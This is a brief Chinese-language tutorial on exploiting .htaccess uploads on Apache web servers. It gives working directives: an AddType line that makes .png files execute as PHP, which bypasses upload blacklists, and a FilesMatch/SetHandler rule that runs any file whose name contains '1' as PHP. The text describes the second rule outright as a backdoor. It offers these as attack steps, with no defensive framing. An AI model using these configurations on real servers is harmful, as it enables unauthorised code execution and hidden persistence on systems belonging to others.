.htaccess文件上传利用

通常.htaccess能够用来留后门和针对黑名单绕过

建立一个txt写入

AddType  application/x-httpd-php    .png

打开另存为

保存类型为全部文件

上传.htaccess 必须是网站根路径 

让png解析为php 

2.留后门 能够在.htaccess 加入php解析规则

相似于把文件名包含1的解析成php

<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>

123456.png  就会以php执行